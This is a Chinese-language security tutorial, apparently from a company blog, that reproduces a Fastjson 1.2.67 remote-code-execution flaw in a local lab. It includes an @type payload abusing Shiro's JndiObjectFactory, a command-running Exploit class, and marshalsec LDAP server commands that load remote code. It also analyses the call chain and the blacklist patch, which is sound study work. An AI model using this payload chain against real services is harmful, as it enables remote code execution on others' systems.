• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 网安知识
    初识Fastjson漏洞(环境搭建及漏洞复现)
    2020-06-29 13:30

    目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。

    0x01 Fastjson简介

    Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

     https://github.com/alibaba/fastjson

    0x02 环境搭建

    JDK 版本:8u112

    fastjson: 1.2.67

    shiro: 1.5.1

    slf4j-nop: 1.7.25

    0x1 添加依赖包

    为了快速添加项目所需要的jar包,创建Maven项目如下

    1_副本.jpg

    pom.xml

    <?xml version="1.0" encoding="utf-8"?>

    <project xmlns="http://maven.apache.org/POM/4.0.0"

             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

        <modelVersion>4.0.0</modelVersion>


        <groupId>groupId</groupId>

        <artifactId>Fastjson1.2.66_RCE</artifactId>

        <version>1.0-SNAPSHOT</version>

        <dependencies>

            <dependency>

            <groupId>com.alibaba</groupId>

            <artifactId>fastjson</artifactId>

            <version>1.2.67</version>

            </dependency>


            <dependency>

            <groupId>org.apache.shiro</groupId>

            <artifactId>shiro-core</artifactId>

            <version>1.5.1</version>

            </dependency>


            <dependency>

            <groupId>org.slf4j</groupId>

            <artifactId>slf4j-simple</artifactId>

            <version>1.7.25</version>

            <scope>test</scope>

            </dependency>


            <dependency>

                <groupId>org.slf4j</groupId>

                <artifactId>slf4j-nop</artifactId>

                <version>1.7.25</version>

            </dependency>


        </dependencies>

        <properties>

            <project.build.sourceEncoding>utf-8</project.build.sourceEncoding>

            <maven.compiler.encoding>utf-8</maven.compiler.encoding>

            <java.version>1.8</java.version>

            <maven.compiler.source>1.8</maven.compiler.source>

            <maven.compiler.target>1.8</maven.compiler.target>

        </properties>

    </project>

    之后右键pom.xml 点击下载source和document

    2_副本.png

    0x2 选择JDK版本

    该漏洞选择JDK 8u112

    3_副本.jpg

    0x3 编写漏洞代码

    在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数

    4_副本.png

    import com.alibaba.fastjson.JSON;

    import com.alibaba.fastjson.parser.ParserConfig;


    public class test {

        public static void main(String[] args) {

            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);


            String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";

            try {

                JSON.parseObject(payload);

            } catch (Exception e) {

                e.printStackTrace();

            }


        }

    }

    0x03 漏洞原理

    0x1 FastJson 类解析

    Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

    FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

    fastjson.java

    package com.teddy.fastjson;


    import com.alibaba.fastjson.JSON;

    import java.io.IOException;


    public class fastjson {


        public String name;

        public String age;

        public fastjson() throws IOException {

        }


        public void setName(String test) {

            System.out.println("name setter called");

            this.name = test;

        }


        public String getName() {

            System.out.println("name getter called");

            return this.name;

        }


        public void setAge(String test) {

            System.out.println("age setter called");

            this.age = test;

        }

        public String getAge(){

            System.out.println("age getter called");

            return this.age;

        }


        public static void main(String[] args) {

            Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");

            System.out.println(obj);

            System.out.println("------------");

            Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");

            System.out.println(obj2);

        }


    }

    result

    aaa.jpg

    由结果可以看出调用parseObject 函数会调用getattr方法。

    0x2 漏洞调用链分析

    调用栈分析

    5_副本.png

    1. parseObject 对象类型转换

    这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。

    6_副本.png

    2. 反射调用

    通过invoke方法,调用getinstance方法

    7_副本.jpg

    3. 触发ldap

    在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)

    8_副本.jpg

    0x3 JNDI 注入

    Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

    9_副本.png

    其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

    注入方法:

    JNDI Reference 配合 RMI

    JNDI Reference 配合 LDAP

    RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

    若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

    1 RMI

    RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

    2 LDAP

    LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

    该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。

    0x04 漏洞利用

    0x1 编译Java 利用代码

    import java.io.BufferedReader;

    import java.io.IOException;

    import java.io.InputStream;

    import java.io.InputStreamReader;

    import java.io.Reader;

    import javax.print.attribute.standard.PrinterMessageFromOperator;

    public class ExecTest {

        public ExecTest() throws IOException,InterruptedException{

            String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";

            final Process process = Runtime.getRuntime().exec(cmd);

            printMessage(process.getInputStream());;

            printMessage(process.getErrorStream());

            int value=process.waitFor();

            System.out.println(value);

        }


        private static void printMessage(final InputStream input) {

            // TODO Auto-generated method stub

            new Thread (new Runnable() {

                @Override

                public void run() {

                    // TODO Auto-generated method stub

                    Reader reader =new InputStreamReader(input);

                    BufferedReader bf = new BufferedReader(reader);

                    String line = null;

                    try {

                        while ((line=bf.readLine())!=null)

                        {

                            System.out.println(line);

                        }

                    }catch (IOException  e){

                        e.printStackTrace();

                    }

                }

            }).start();

        }

    }

    命令行编译class文件

    /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java

    0x2 开启 LDAP 服务

    使用marshalsec启动一个ladp服务器 ,下载地址为

    https://github.com/mbechler/marshalsec

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

    0_副本.jpg

    0x3 开启HTTP Web 服务

    将编译好的Exploit.class 放在web目录下并开启服务

    11_副本.jpg

    0x05 漏洞补丁

    这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包

    https://github.com/LeadroyaL/fastjson-blacklist

    12_副本.jpg

    该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了

    13_副本.jpg

    对应的具体代码如下图所示,在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理

    14_副本.jpg

    黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。

    if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {

                long hash = h3;

                for (int i = 3; i < className.length(); ++i) {

                    hash ^= className.charAt(i);

                    hash *= PRIME;

                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                        if (clazz != null) {

                            return clazz;

                        }

                    }

                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

                        if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {

                            continue;

                        }

                        throw new JSONException("autoType is not support. " + typeName);

                    }

                }

            }

    0x06 参考链接

    本文项目链接 https://github.com/ctlyz123/fastjson_vul

    https://www.jianshu.com/p/776c56fc3a80

    https://github.com/LeadroyaL/fastjson-blacklist

    http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

    https://www.freebuf.com/column/189835.html

    https://cloud.tencent.com/developer/article/1601977

    https://paper.seebug.org/994/#0x01-fastjson


    相关实验推荐--Java反序列漏洞

    上一篇:借github上韩国师傅的一个源码实例再次理解.htaccess的功效
    下一篇:house of storm 的利用
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731